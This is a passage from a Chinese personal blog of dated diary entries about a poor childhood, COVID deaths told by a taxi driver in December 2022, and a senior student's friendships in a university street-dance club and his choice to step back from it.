　　其实我知道，只是因为咱们家穷，跟空调天不天然，没有任何关系。我也知道，父亲心里对于我这副摸样，会心疼，但也无奈。

　　真的不冷吗？真的如此，我的耳朵也不至于每年冬天红得发紫。

　　父亲也是如此。不止耳朵，他在前面驾驶，还会碰到把手。钢铁机械在冬天的温度，每个人至少都能猜到。

　　就算这样，父亲每次也会把我包得牢牢的，甚至为此买了一件老实的军绿色大衣，很厚，很重。还买了很厚的摩托车用的护膝，从脚踝到大腿的那种。

　　这些所有装备套到我身上，让我看起来像一只笨重的企鹅。

　　我开始很害怕这种样子见到我那些同学，但后面无所谓了——穷不是什么羞耻的事情。

　　反而，我有他们所没有的安心的体验。

　　父亲常年累月地接送，从小学五年级开始，到高三毕业，我想这已经代表了很多事情。光这一点，大概就是很多人难以企及的幸福了。

　　要知道，我家，离我上学的地方，至少一个半马的距离。而且，盘山公路，弯道极多，来去至少一个小时。

　　这近十年的时间，每次我坐在后座，伏在父亲背上，都能结结实实地感受到：什么叫安心。

　　只要御寒的东西装备好，往后座一坐，就可以不用管任何事情了。 有时候我甚至还会迷迷糊糊地睡着，虽然父亲总是骂我——要是一个不小心栽下去了怎么办？

　　在雨天，父亲还会穿上雨衣，把我也罩在里面。雨大时，能听到隔着雨衣传过来的，滴滴嗒嗒的声音。它枯燥，但隔着那么近的距离听雨声，让幼时的我很是着迷。

　　或许这就是穷人苦中作乐的天性吧。

　　我经历的所有慢慢让我变得有了穷病，有了钱也不敢花。高额消费思考数月之久，一旦决定，从不后悔。有朋友甚至觉得不可思议。

　　现在我确实没有享受的命，因为已经习惯了。


　　这一颗巧克力引发的故事，我仍希望看到这里的你们不去经历。

　　因为它们，毕竟还算苦难。无论怎样苦中作乐，都不能改变其苦难的本质。

　　如果能够避免，那自然最好。


　　南国微雪 Miyuki

　　2023 年 1 月 18 日

随记 - 2022 年 12 月 23 日

封面图

摄影师 | Daniel Schludi

图源 | Unsplash

写在前面

565 字 | 疫情三年，冷暖自知

正文

　　早上打车。女司机，有个做教师的孩子。司机很健谈。

　　她说，最近死了很多人。

　　我心一沉。

　　“怎么了？”

　　“你在学校可能不知道，我前天接了两百单左右，但肯定不会只有两百人吧，”她笑了笑，然后继续说，“接了有一个人，他说，他昨天还在给家里老人买药，隔天早上就给老人搭棚[1]了。”

　　“老人感染一下是受不了。”

　　我沉默了一下，然后又听司机絮絮叨叨。

　　“应该是昨天，接了一个医生，那个时候他回家。早上了他才回去。我问他怎么这个时候才回去，他说通宵了，医院不让回去，说人力紧张。然后就在后座上睡觉。”

　　“还有一个人，家里两个老人同时感染，然后同一天走了；接了一个女人，手里抱了一个五个月的孩子，孩子也走了。”

　　“我家孩子也感染了。我问他，要不要我陪？他说你不用管，继续上班就行。然后我就看他在家里改卷子，改一会儿趴一会儿。”

　　我一直没怎么说话。

　　“都苦啊。”我想了很久，只说出来这么一句话。

　　“是啊，什么大灾大难的，受苦的都是老百姓，都是基层。”

　　她笑了一下。

　　“那些当官的，真不是个人呐。”


　　南国微雪 Miyuki

　　2022 年 12 月 23 日

引用及附注

　　[1] 搭棚：搭建灵堂。在四川偏远地区，农村居多，有人去世需要将弄堂全部空出来，搭建一个棚户，中间放棺材和遗照，守灵三天。

　　[2] 部分人称代词：因所提及对象均未指明性别，依据现代汉语语法规定，均使用“他”做指代。

随记 - 2022 年 12 月 22 日

写在前面

28 字

正文

　　对我具有重要意义的那只手表，不知在什么时候，停止了转动。


　　南国微雪 Miyuki

　　2022 年 12 月 22 日

随记 - 2022 年 11 月 22 日

写在前面

7292 字

正文

　　事情从哪里开始说起好呢？

　　这个纪实文学，将会涉及到七位主人公：K，叶，一平，姚，小迪，聪和会长。故事主要发生在前三位身上。

　　离开校园后，我大概会缅怀这些日子吧。


　　［2022 年 11 月 19 日 周六］

　　白天的事情，我大抵已经记不清了。

　　这天，有个很重要的事情，便是他们去参加市里的街舞齐舞大赛，拿了季军。

　　我们，本濒临灭亡，协会除名，最后我们救了下来。迫于生计，也为了发展，我们与外面的舞室达成了合作协议。本次比赛以他们名义参加，但人我们出，事后宣传之类的权力，也由我们保留。

　　奖牌奖杯之下，他们，笑得开心。

　　每个人都有一张证书，上面写有名字。K拍给我看。虽没有参加，但甚是感慨。后来，群里有人发K拿着奖牌的视频。一得知要拍，她显得甚是慌忙：“等一下！”

　　显然没有料到是录像。

　　我在这边看得笑出声来。


　　一切，都发生在晚上。

　　彼时我正从图书馆出来，学了一天的民法，脑子里全是浆糊，并且附带被放鸽子的心情减益。

　　起因是我打算去图书馆，问叶要不要去。本只是随口一问，没想到她早上就在了。

　　我：……

　　“那我去找你吧。”

　　“我下午要去走访，可能不会在，也不知道多久回来。”

　　“也行吧，我懒得找座位，帮你看东西也行。”

　　“那你找找吧。”

　　我和她对了很久的座位，顺便某人还说了几个特征，我才找到座位。确实已经没人了。

　　真的有路痴，但肯定不是我，我只是找不到座位。

　　结果是她确实也回来了，不过是来收拾东西的。她看了我一眼。

　　本来说一起学习的，然后本来都快到图书馆了，她猛地被她朋友拉去操场看落日了。顺便还给我甩了一句：“别等了，我是你永远等不到的人。”

　　我听完有些无语。

　　“那你东西呢？送我了？还是放在这不管了。”

　　“我待会儿过来拿。还要上课。”

　　我：……

　　不过本来就是来图书馆学习的，倒也无所谓了。

　　与此同时，社团的人们正在狂欢，聚餐，开庆功宴。聚餐，社团的所有人都可以去。吃完时，已经很久了。他们说，要到操场去玩游戏。不过玩什么还在商讨。

　　我在犹豫要不要去操场，K 忽然发了一条语音过来。

　　“你今晚为啥不来吃饭啊？”

　　说实话，当时我看到转出来的文字时，挺心疼的。

　　因为我才在今天做了一个重大的决定：决定淡出他们的视野。而他们是不知情的，并且才进入这里，对一切都充满期待。

　　总有一种在骗无知的小孩子的感觉。

　　“你要去操场吗？”

　　“我不知道欸。”

　　拉扯半天也没一个明确的答复。不过 K 总觉得我要去的样子。犹豫之下，还是去了。

　　“那个……你到了吗，你要不你带点含片呗，我喉咙现在有点不舒服，晚上出门没戴围巾。”

　　我：……

　　之前给她带了一点药，小迪那个时候也感冒了，K 和他各分了一点。

　　一边无语，一边折返去给她拿药。K 之前说她睡觉都戴着围巾，因为喉咙实在有点疼。所以想了想，又把自己的淡绿围巾从衣柜里扯出来放进包里。

　　“你不是说要来吗？”

　　收到了下一条语音。

　　我的好姐姐，能不能耐心一点……

　　到了操场，一群人高叫我的绰号，我真想一个一个全部刀了，都十一点多了，一群瓜货真能玩儿。

　　然而，这时候的我怎么也想不到，这一天，才只是开始。

　　K 见状马上过来，两个眼睛盯着我：“东西呢？”

　　“你等一下嘛，我掏一下，你这表情就跟我欠你钱似的。”

　　药给她扔过去，她掏出一片扔进嘴里，我拿出围巾给她戴上。

　　“还给你带了这个。你怎么忘了戴了？是落在烤肉店了吗？”

　　“没有啦，就只是忘了戴了。”

　　围着她脖子缠了一圈，K 执意要自己戴，我也就随她去了。我跟她说有另一种戴法可能要暖和一点，她也不听，我就懒得管她了。

　　他们玩儿狼人杀。

　　K 有两三把都死得特别早，就跑过来跟我聊天，还把我拉到一边，远离大部队。我知道，她肯定要说聪的事情了。

　　聪是她喜欢的一个男孩子。跳舞好看。对于我们这群舞者来说，舞蹈审美是重要的，也是致命的。或许就是这个原因吧，K 喜欢上了聪。

　　这个事情目前就我和会长知道。会长和聪关系挺好。

　　K 原来跟我说这个事情，我让她去找会长，可能会有点机会。会长决定帮一把。但就目前的结果看来，聪似乎不太想聊的样子。就留了 K 一个人每天瞻仰似的看着他，然后碎碎地跟我和会长念叨着她和聪今天发生的事情。

　　我不知道 K 和会长关系怎样，但是猜测应该挺好。会长不论是跳舞还是在生活中都很有些男孩子气，我觉得他应该更懂聪一点。

　　K 的话有些多，抓不到重点的样子。经常都是，我们还没有聊完，然后狼人杀下一把就开始了。开始之后，她又跑回去玩儿，在哪天晚上被狼人干掉之后，又拉着我远离大部队开始聊。

　　反反复复，说实话有些折腾。

　　不过这次，似乎不只是她和聪之间的事情，还有她和小迪之间的故事。而后者，成为了我们日后几天一直讨论的主线。

　　我姑且听完她的恋爱观，脑子里瞬间闪过一个词：性单恋。于是随后问她。

　　K 说：“对啊，我就是啊。”

　　K 说她很欣赏 BE 美学，而且喜欢那种虐恋：前天死去活来，昨天甜得要死，今天又哭断心肠的那种。她还说她有过一段恋爱，网恋，就两天，就呈现了这种发展。她说她还特别喜欢这样。

　　我有些无语。好家伙，这下麻烦了。

　　虽说这并不影响K是我们团里的吉祥物就是了。

　　她前两次拉我说话我还挺懵的，后面慢慢地捋顺了，不过实在给不出什么好主意。她似乎也不需要我出主意的样子，我也就这么一直听着，顺便看他们继续狼人杀。

　　小王今晚把把都是狼，老大哥一直在旁边很懵，似乎连规则都不懂的样子。我有些饿，拿了一包袋装果冻，但忘了吃，第二天才吃掉。

　　一行人作鸟兽散去之时，已是两点半了。有的先走，有的骑车，有的善后。因为 K 的门禁卡给了别人，所以我们需要追随小马和另一个女生的步伐。她们有，不然 K 就回不了宿舍了。

　　她们在前，我和 K 在后面慢慢地跟着。

　　K 说小迪在追求她的室友。虽然不是重磅炸弹，但也足够奇怪了。更奇怪的是，K 的室友，姚，似乎总是在吊着迪的样子。

　　姚在 K 和其他室友的面前说，她可以和迪暧昧，但是绝不会和他谈恋爱。并且，K 以前还问过她，要不要加入我们社团，她非常明确地拒绝了，然而现在又天天跟我们玩，甚至他们庆功喝酒时，她也想跟着去。

　　K 说她最近很膈应姚和迪。

　　情况大概就是这个样子。

　　她碎碎地说了很多事情，但我大体上都记不太清了，都是一些非常细节的事情，细节到哪句话，哪个表情还有什么动作。

　　我一直以为她挺没心没肺，不过看来是我想得太过简单了。

　　“还有其他事情，我改天再跟你说。”K 看着小马两人马上就要进去了，才匆忙跑开。

　　我朝她挥了挥手。

　　睡下，已经是凌晨三点了。

　　我决心，明天不能熬夜。一定要好好补一觉。


　　［2022 年 11 月 20 日 周日］

　　昨晚睡得晚，今天起得晚。而且今天还有社团的团训。

　　不过没关系，昨晚骨干一堆堆的都在狼人杀，所以都起得晚，团训时间整体推了一个小时。

　　昨晚会长说了一句话：“来吧，搞死我，搞死我明天团训就轻松了。”最后每个人都被搞死了，包括会长。然而团训还是不轻松。

　　虽说我没有去团训就是了。

　　我后到的舞室，他们在里面做体能，我在旁边看着，也不参加。看了半天越看越想笑，放声大笑，仰天大笑。

　　于是拿着手机拍照。

　　不行，这种幸灾乐祸的事情我最喜欢了。

　　“怎么了？不行啊，这点体能就趴了？”我边在他们体能队伍中游走，一边大放厥词。

　　“喜欢摸鱼嘛，马上喊你做五十个波比跳。”

　　我哭丧个脸。

　　这时候我才发现叶竟然也来参加了。

　　叶属于那种不太练舞的人。她来社团更多的，是为了玩儿，还有喜欢我们的氛围。所以她来这种痛苦的团训我是真的很意外。

　　当然她也付出了代价。她后来跟我说，第二天她浑身酸痛。

　　至于我？我是来吃饭的，睁眼十二点，早饭都没吃。楼下就是常常聚餐的饭馆，团训完了不免会吃一顿，都已经成默不成文的约定了。

　　“没团训的不准吃饭。”

　　“好哥哥，别这么狠心嘛。”

　　“拍拍拍，喜欢拍，下次手机给你扔了，拿我的拍。”

　　“原来你是这个意思哦……我还以为你多凶呢……”

　　我跟叶坐一起。我问她下午去不去图书馆，她说她还没想好。

　　“你不是要写报告吗？你写了多少了？昨天不是看落日去了吗？”我邪恶地笑了笑。

　　“还没开始动……”她白了我一眼，有气无力地说。

　　我是打算下午去图书馆的，继续学民法。考试说实话有点痛苦。

　　吃到中途，叶跟我说，她决定去图书馆了。

　　“为啥？”

　　“作业真的要写不完了。”

　　我：……真是朴素的理由啊。

　　K 没有和我们一起吃，她有事先走了。还在舞室的时候，她还很着急地就要跑出去。

　　“你不一起吃吗？”

　　“不吃了！我和别人约的下午一点，只有二十分钟了。”

　　K 本来就要跑出去了，然后又跑回来，到我面前。

　　“做完了回来给你看！嘿嘿。”

　　“啥啊？”

　　“做指甲啊。我上周一约的，结果排到周六了，前面都排满了！”她边说边舞着手机，“要是做得不好看，我肯定要投诉他。”

　　“瓜皮，那你还在这里说，快去啊。”

　　“哦哦！对哈。”

　　某人一溜烟跑出去了。

　　吃完饭，我径直去了图书馆。我问叶她多久来，要不要占一个位置。她说她洗个头就来，要一个位置，还需要插座。我找了老半天。

　　事实证明，这人是个摸鱼怪。我在图书馆看了一两个小时了，她才来，估计还睡了个午觉吧。

　　白驹过隙，已是晚餐时。

　　“你吃饭吗？”

　　“不吃。”她看向我说。

　　“欸，为什么？”

　　“不想吃。”

　　“胃是养出来的啊。”

　　“但就是不想吃嘛。”

　　“……那行吧，”我说实话挺无语的，“那你要喝点什么吗？我吃饭回来顺便帮你带一个。”

　　“不知道欸，你随便买吧，都行，”她随后又想了想，“要热的。”

　　“学校的热饮一般都是奶茶……”

　　“不要奶茶。”

　　“那行，我到时候拍照发给你，你看看你要啥。”

　　“也行。”

　　到我吃完饭给她发学校仅存的三个超市的热饮，我发现里面惊人的整齐划一：都是阿萨姆奶茶和雀巢咖啡。我不理解。

　　“算了，我不想喝了。”叶看完之后说。

　　我还觉得自己挺亏的，跑了这么多地方又不要了。然后忽然想起了室友推荐我的饮品。不过不是那种瓶装，而是学校里现做现卖的。

　　“算了，我请你喝个好喝的，我看看还有没有热的。”

　　“什么喔？”

　　“秘密~”

　　我问了一下店家，他们说可以烫热。

　　“嘛，总之敬请期待吧。”

　　发送。

　　“还神神秘秘的。”

　　我等了大概十分钟，拿着做好的燕麦米浆往回走。

　　中途，碰到一平，发生那个经典的事件。

　　一平看到我，向我一伸手，示意我停下。然后就这么一直盯着我，像盯着猎物一样，同时在自己的衣兜里掏着什么。

　　我有些惊恐：“你要干嘛？”

　　然后她给了我一块脆香米。

　　当时真的很无语。我只能说，她那个样子，容易把人吓出心脏病。

　　我回到图书馆。

　　“感觉怎么样？”

　　“感觉还行吧……不过我把吸管弄烂了……”

　　我看了一下，有些尴尬。那吸管好像本来就是烂的，应该是生产出来就有问题。

　　不过不影响饮用，而且她也说味道还可以，我就没太放在心上。

　　“你待会儿去吗？”我问她。

　　社团那群瓜货说，练完舞又准备玩儿狼人杀，没练舞的不准玩。

　　哈哈，又是这句话，没什么威慑力。

　　“去吧……我不知道，不过想去。”

　　我是肯定要去的。他们一群人都想玩儿，狼人杀缺个法官。而我对这个游戏毫无兴趣，适合这个角色。昨天就是我一直当上帝，今天大概也一样吧。


　　我们带着伞到他们玩游戏的地点，已经是两三个小时之后了。

　　那时候十点多，我之前折回宿舍拿我的门禁卡。事实证明我这个决定是正确的，因为最后离开的时候，已经是凌晨 3:30 了。

　　K 给我看了她做的指甲。

　　“怎么样？”她一边伸出手，一边看着我。

　　我当时差点没忍住笑出声。

　　“你要听吗？”我憋住笑，严肃地问她。

　　“你说呀。”

　　“说实话，我看起来像水泥。”我没忍住，哈哈大笑。

　　然后便挨了一记手刀。我抬起头，看见 K 跑去和会长控诉，用手指着我：“你看他好过分！”

　　我还是没忍住笑出声来，屋内外充满了快活的空气。

　　狼人杀游戏正式开始。

　　我说不清今晚游戏进行了多少局，因为我对这个游戏聊无兴趣。不过可以知道的是，玩到大概两点多的时候，有些人，包括我自己在内，很困了。

　　途中有一些有意思的事情。

　　K 说她自己很渴，要跑下去买水。不知道那个时候几点了，但我对她成功搞到一瓶水上来表示很惊奇，因为照理来讲，那个时候没有商家营业了才对。

　　她那一把游戏死得早。身为法官一天的工作结束之后，她拉我到一边来。

　　“我指甲弄脏了……”

　　“欸，不是今天才做的吗？”

　　“对啊，就刚才，不知道怎么就弄脏了，”她喝了一口水，清了清嗓子，“可能是买水的时候不知道在哪儿刮到了。不过我去做的时候，那个人就告诉我不要做磨砂的，因为磨砂很容易脏。”

　　“那你这个就是磨砂的吗？”

　　“对啊，因为这个颜色不磨砂的话，很难看。”

　　我看了一下，看不太出来。想象不出来是什么样子。

　　“不磨砂的话很平，而且看起来很淡。不知道你看不看得出来，这个蓝色其实是有两种的。”

　　我又看了一下，然后觉得自己色感训练白做了，有点怀疑人生。

　　也不知道是第几局了，K 要玩我的 iPad。她说她一直想要一个平板，用来写字还有学习。但是她的家人说只能笔记本和平板之间选一个。

　　我当时在刷宪法题目，也没有特别急，就给她玩儿了，自己在一边看《西游记》。

　　但是我也确实没有想到，她之后就一直占着我的平板了。写一些她自己收藏的句子。她说她备忘录里收藏了好多。

　　我给她专门新开了一篇笔记，任由她书写。

　　K 写自己的名字很好看。那些收藏的句子，字迹相对没有那么好看，不过因为内容多，整体看起来有一种小家碧玉之感。还写一些我们社团其他人的名字，甚至还在会长和他女朋友之间画了一个大大的红色的爱心。看得我直想笑。

　　开始她还不让我看，不过我也挺理解这种感觉，也就没理她。但是谁知道她后面自己冲过来，举着平板给我看她写的东西。

　　“把骨灰撒在宇宙，远离全人类的罪。”

　　后面还署了名——Ms. Quinn.

　　她还问我：“你听过这首歌没有？”

　　我愣了一下，想了起来。

　　我偶然间发现我和 K 喜欢同一个歌手：Quinn葵因。这是她的一首歌歌名。

　　我们当初发现这个事实的时候，两个人都兴奋了很久。他乡遇知音莫过如此。

　　“听过啊。”我回答说。

　　我们俩人在一边儿交流了半天对这首歌的初印象。

　　“法官呢？”有人喊，“法官！法官玩忽职守。”

　　“哦哦，来了来了。”我讪讪地笑道。

　　后面有很多局，K 也不怎么听别人的发言，就在一边写写画画。她还叫我把写好的东西回去发给她，她不太会弄出来。

　　这样一直持续到狼人杀结束。那时候大概已经三点过了吧。

　　一平后来的，有几局她死得也早，就在一边练舞。我们当时集体哭号：“师傅别卷了，这大半晚上的，还练舞，什么居心啊。”

　　但是她没听：“我就是要卷死你们，嘿嘿。”脸上挂着让人讨厌不起来的笑。

　　狼人杀结束的时候，他们有副扑克牌，准备炸金花，输了的人做俯卧撑。

　　我那个时候已经很困了，困得不行，就躺在垫子上。K 趴在相邻的垫子，还是一直在玩着平板，写些东西。我就这样看着她。

　　我当时感觉距离好近……不过随即摇摇头甩开了这种想法。

　　她好像注意到了的样子，转头看向我，但没说什么，而是说了另外一句。

　　“我感觉我们这样就跟与世隔绝一样。”

　　我侧过身，看了看身后。除了我们两个人，其他人围成一圈，正在洗牌。大概炸金花要开始了吧。

　　我侧回来，冲她笑了笑：“可能是吧。”

　　K 依旧在写着什么，我仰躺着，在一边玩儿手机。半晌，她对我说：“你把悠米抱下来吧，我腰要断了。”

　　我笑出声来。

　　悠米不知道为什么特别喜欢她的背，在 K 的背上一直趴着，得有半个多小时了吧，两只爪子蜷缩着，眼睛闭上，看起来在睡觉。

　　我把悠米抱下来，放在旁边。

　　“要不你就在这躺着，跟悠米一起睡一会儿吧，”她指着悠米，“我去洗个手。”

　　我：……

　　她回来之后，说，她准备回去了，因为太晚了。

　　我一看时间，差不多凌晨三点半了。

　　起身一看，也不知道为什么那群瓜货起来练舞了，就很崩溃。谁深更半夜的不睡觉，在这里练舞蹈基本功啊。我一看那个炸金花的圈子，就只剩两个人了。

　　我把牌借过来，然后有一个人也去跟着练舞了。

　　我一直挺想试试那个魔术的。我请求 K 当观众配合一下，她好像也很有兴趣的样子。

　　不过最终肯定魔术变失败了。这是我第一次干这种事情。

　　“你个憨批，你拿着这张牌跟我说是梅花 7，那我肯定不信啊。”她大笑。

　　原来是这个样子，我下次一定注意。

　　我和 K 提议都要回去了，因为真的很困了，撑不住了。其他人见状也都说散了，一行人终于下楼回宿舍。时间大概凌晨三点半过。

　　接下来是最尴尬的事情。

　　K 一直很在意姚和迪的事情，在下楼的时候似乎又有可以补充的资料，于是跟我碎碎地说着。回我们宿舍区域的，一共四个人，我，K，一平和另外一个女生。

　　K 一直在跟我讲事情，头背过一平她们，但我是能注意到的。

　　走了两步，一平在最那边跟那个女生说：“我们走！不理他们两个了。”声音还有点大。

　　我当时真的很尴尬。而且一平他们真的远离了我和 K 两三步。

　　K 好像没有听到的样子，仍在跟我说着事情，一直到我走到男生宿舍门前，她才放过我，还最后说了一句话：“等我哪天抽空好好跟你聊一哈，我真的，不知道他们什么情况了已经。”

　　我的好姐姐，你饶了我吧……

　　她在途中问过一个问题：“如果我说，不想姚进我们社团，你会觉得我很奇怪吗？”

　　“没有啦，怎么可能，”我笑笑，“有不喜欢的，或者讨厌的人，不想跟他们接触，是很正常的想法。有什么奇怪的，世界上哪来那么多奇怪的事情。”


　　［尾声］

　　这个随记，从 22 号开始写，到 24 号仍然没有写完。

　　不仅如此，其中还添了更多，我们社团发生的、值得记录的事情。

　　例如，我因为不想吃晚饭，K 给我带了一个饼，而山东煎饼，我上一次吃，大概是两三年以前的事情了；再比如，K 和会长用石头剪刀布决定是练舞还是去操场跑步吃瓜，最后会长满盘皆输。我，一平，K，会长，还有另外一个男孩子在操场上听 K 聊姚和迪，听一平聊她班上那些俗世奇人（贬义），给她们出主意，或者只是跟着一起发笑。那晚，我重新认识了一平，觉得她三观极正；抑或是，一平小姐觉得我是猪，在我吃过饭之后，又提议买个烤红薯，还把 2/3 都给了我，我猜是她自己想吃；又或是今天刚刚发生的，K，叫我给她带一个用过的口罩，后来我才知道她觉得我没有，想用口罩系绳编一个头绳。她对我有头绳这件事表示极大震撼。不过我觉得我那个头绳被眼镜盒箍大了，感觉不好，于是后续重新给她买了一根。

　　诸如此类，很多很多，但我已没有心力再去记叙了。否则越拖越长。

　　我知道我的主观笔下，闻起来大概会有很多恋爱一样的气味。不过我深知，我和他们其中任何一个人都只是单纯的朋友，不会有任何可能。我也欣然如此。

　　我只知道，我和他们是朋友。她们抑或他们都是我可爱的后辈。我们是一个社团的孩子，同是热爱舞蹈的人。

　　仅此而已。

　　故事仍在继续，若有哪天我兴致大发，再拾起笔来，或许我们能看见后续的发展吧。

　　书之至此，悉数掷笔，未尽之事，随风随念。


　　南国微雪 Miyuki

　　2022 年 11 月 24 日

随记 - 2022 年 11 月 19 日

封面图

画师 | 佚名

图源 | Yande

写在前面

　　

908 字

正文

　　重大的选择，难免会有些遗憾与难过。

　　不过其实我们都一样吧。当时总觉得无法割舍，但最后都会过去。

　　我现在就站在这样一个岔路口上。


　　今晚，他们比赛，拿了季军。对一个学校的社团来说，很不容易了。

　　当然，比赛团队里面，没有我。这是我自己做出的决定。

　　前段时间，社团面临无妄之灾，险些除名。我们历经万难，誓死保了下来。前辈们栽的树不能毁在我们手里。

　　今天，他们开庆功宴。

　　新一届的顶梁柱，问我，去吗？

　　我说，不去，是时候隐退了，其实早该隐退的，时间已经延后很久了。

　　我其实知道他会说什么话。

　　他人真的很好很好，每次这种时候都会宽慰我。

　　“玩得开心才是最重要的。”他说。

　　我在屏幕这边笑了笑。


　　我决定，今天之后淡出他们的视野。这是一个艰难的决定。

　　亲密关系中有一项很重要的指标，就是一致性。一致性高的亲密关系，更可能以“我们”相称，而非“我和他们”。

　　我们社团中，有五个大四的。一个特别热爱跳舞的，可能之后会走向职业舞者这条路，他仍在社团活跃着。然后三个隐退的。还有我。

　　那三个人，是刚进大四就隐退了，我本应该也这样做的。但仍然坚持了很久。

　　大四带给我的身份冲击，从来没有现在这么明显。

　　一面是压力。年龄相近的朋友，都在奔波在生存的路上，为自己的未来奋斗着。父母最近打电话给我，都是问我还有没有笔试和面试。我也在按着既定的路线行进着。

　　另一方面是挂心的他们。我很喜欢这里，他们给予我归属感。每每看到他们的笑容，我总觉得，一切都是值得的。他们有着我没有的东西，那就是大学剩下的，未知的体验。

　　沧桑与稚嫩碰撞，迸出的火花，差异巨大。像是理性世界与感性世界之间的摇摆，氛围截然不同。

　　每每他们说，开心最重要，我都想笑，转念看看自己所剩的时日，又忍不住黯然。

　　我觉得是时候放手了。


　　龙应台在《目送》中写道：“我慢慢地、慢慢地了解到，所谓父女母子一场，只不过意味着，你和他的缘分就是今生今世不断地在目送他的背影渐行渐远。你站立在小路的这一端，看着他逐渐消失在小路转弯的地方，而且，他用背影默默告诉你：不必追。”

　　我也不去追他们了吧。

　　我们危难的时候，我不会逃，也不会跑，一起想办法抗过去就好。而锦上添花，越走越远的辉煌，就交给你们了吧。

　　我爱你们。


　　南国微雪 Miyuki

　　2022 年 11 月 20 日

随记 - 2022 年 11 月 6 日

写在前面

2788 字

正文

　　对于昨晚的聊天，我很震撼。

　　一平跟我说，她今晚很浮躁，总静不下心来。我说，没事，也不是每一个人每天状态都好，慢慢来，不用急。我教她的时候，也没有看出来她有多浮躁。我想，大概只是她自己这两天事情有点多，有些倦怠吧。

　　我们一直碎碎的聊着，围成丢手绢一样的圈，任由音乐在一边放着，想跳舞的自己出去练，不想练的插进圈里。在场的都是熟人，也没什么不自在的，反倒这样懒成一团，另有一番感觉。

　　然后子阳来了。

　　子阳和一平是前后辈的关系，同专业，子阳大二，一平大一。

　　子阳来的时候，我们正做着俯卧撑呢，直接看傻眼了——这两天她们体测来着。

　　一平因为不服跟胡在昨天比试的结果，要求今天再加赛，胡百般地不情愿，丢下一句：“大家一起做，我就做。”然后想借此脱身。然而我们想看他出丑，心甘情愿被拖下水，于是还真一起做了。

　　“你们每天都这么刺激的吗？”

　　“没……怎么可能嘛。”

　　子阳插进圈里，和一平聊起来，聊的都是一些我不太懂的，她们专业的话题。子阳示意我过来，但因为她身边坐着小马，我只能蹲在一边。我刚想聊些什么，就被小马拉住。

　　“完了，快帮帮我，还有十分钟，三十六道题，快快快。”

　　“……”

　　我看了一下，净是一些古董题目，什么线性、树形结构之类的。跟她一起做完还剩两分钟，速度简直快。做完发现只有不到四分之一的人交了作业，看来她这一届的学生比我们还要摆。

　　“你不是说你法学院的吗？”

　　子阳指向我。

　　“对啊，我法学院的呀。”我稍微迷惑了一下，马上开始乐。

　　“我信你才怪，他信工的，”一平白了我一眼，“我跟你讲，昨天我们练舞的时候，他一个人抱了那么大一台电脑，在旁边工作。”说完还比划了一下。

　　我有些尴尬。

　　“既然你说你是法学院的，你说下张老师是我们系主任还是学院团支书？”

　　“哎呀，我平时课都不去上，我怎么可能知道这些嘛。”

　　“那我们专业课呢？”

　　“专业课啊，我想想，早忘了，八百年前的东西了。我都大四了欸。”

　　两人齐齐翻我白眼。

　　之后我有一搭没一搭地和她们聊着，大多时间只是蹲在一边听着。子阳不知什么想法，一边听着一平讲着琐事，一边跑过来解我鞋带。

　　嗯，我还没反应过来，我鞋带就被拉开了。

　　系上。

　　再拉。

　　系上。

　　再拉。

　　行，不系了，摆烂了。

　　刚好小马被胡拉走了，子阳示意我坐过去。

　　我坐过去，听她们聊着斓祯的印象，我不时说两句。突然，她们话锋一转：“还有，她化妆的技术真的好好！”

　　“就万圣节那个妆吗？”

　　“对对对，我问过她好多次呢，怎么化，这种……”

　　我一听，完蛋，我插不进去话题了。于是往旁边挪了两步，坐远了一点。

　　子阳看我这动作，笑出了声。

　　“你过来呀，了解一下嘛，怕什么。你不是很想给女生化妆吗？”

　　我震撼。

　　不知道说什么。

　　这句话意味着，她看了我写的那篇小说。

　　我当初给她发了公众号的一篇文章，说，你想了解的故事都在这里面。作为见面会我搪塞她的赔礼吧，私下给她发了。不过我觉得也没写什么东西，就觉得还好。

　　她后来跟我说，你这个人还挺反差。我笑笑。我写的东西小心思确实比较多。

　　我也以为，她只会看一篇而已。

　　就我自己而言，别人推荐的东西，有兴趣会看一下，如果太多的话，估计压根儿看都不会看。那个号里，文章少说也有二三十篇了。

　　我也一直觉得别人会这么干。

　　我靠身过去，仍默不作声地听着。不过她们似乎很快结束了这个话题。

　　子阳左边有另一个女生，应该是她的朋友吧。那人也很漂亮，是我一眼看过去就会害怕的那种类型。

　　我曾经跟子阳说，我比较害怕漂亮的女生。

　　然后她生气了。

　　“我不够漂亮吗！”

　　我哑然失笑。

　　“所以我刚开始挺害怕你的呀。”

　　“你什么时候害怕我了？”

　　“又不是所有害怕都会表现出来嘛。”

　　这话术蹩脚到我都想笑，但这是我真实的感受。刚开始确实挺害怕她，总觉得漂亮的女孩子跟我从来不在一个世界。不过后来还好，渐渐习惯了。

　　只是她只用微信，我没办法，只能硬着头皮常开微信了。

　　她们继续聊其他话题，有时候觉得能聊上两句，就随便说点什么，一直到子阳她们离开。


　　“你要现在走吗？”一平问我。

　　我愣了一下，“都行，你呢？”

　　“我不是很急，走不走都行。”

　　“那现在走吧，早点回去睡觉。”

　　然而就结果来说，这个目的并没有达成。

　　路上她还是跟我说，她今晚总觉得不痛快，感觉很浮躁静不下心来。

　　我笑了笑，说：“真的没什么，状态不好很正常。今天富士康给我电话面试，还说我心理性格测试不合格呢。”

　　“真的假的？”

　　“骗你干嘛。”

　　“那你接到这个电话感觉怎么样？”

　　“我觉得还好啦，这都没什么的，所以你也不要想太多。”

　　“我怎么看你前两天心情不太好的样子？”

　　“有吗？”我迷惑。

　　“有啊，”她看我懵，她也很懵，“反正有一点吧，给人那种感觉？”

　　然后她补充了一点：

　　“下次你心情不好的时候跟我说嘛，我随机送你一个小礼物。哼哼~”

　　吃惊，同时又开始笑。

　　“送什么，一个耳刮子是吧？”笑出声来。

　　“没有啦，怎么可能。”

　　“不过很奇怪欸，怎么还带送礼物的。”

　　“哎呀，你别管那么多嘛，下次心情不好的时候跟我说就对了。”一平脚一跺，看起来有些急。

　　“好好好，知道了，你别这样。”看来逗得有些过了。

　　“不过当时也要取决于我有什么，说不定刚好东西吃完，送你一个垃圾。”

　　“哎呦，垃圾我也收啊，这可是大小姐给的垃圾。”

　　我话还没说完，然后就见她猛地转身：“你先走吧，不行，我要去操场跑两圈。”

　　我看了看时间：“哥，现在都十点半了！”

　　“哎呀，你别管！不跑两圈我心里不痛快！”我看她在我三尺之外，朝我这么喊。

　　那是真的牛皮，我到现在都这么觉得。

　　分开之后走了两步，我忽然想起了什么，掏出手机，点开刚加的微信。

　　「你瓜娃子快回来，明天还要体测呢，八百不想跑了？」

　　回到宿舍，手机震动。

　　「没去跑步，跟朋友打篮球去了。总觉得自己今晚很浮躁，自己不够好。」

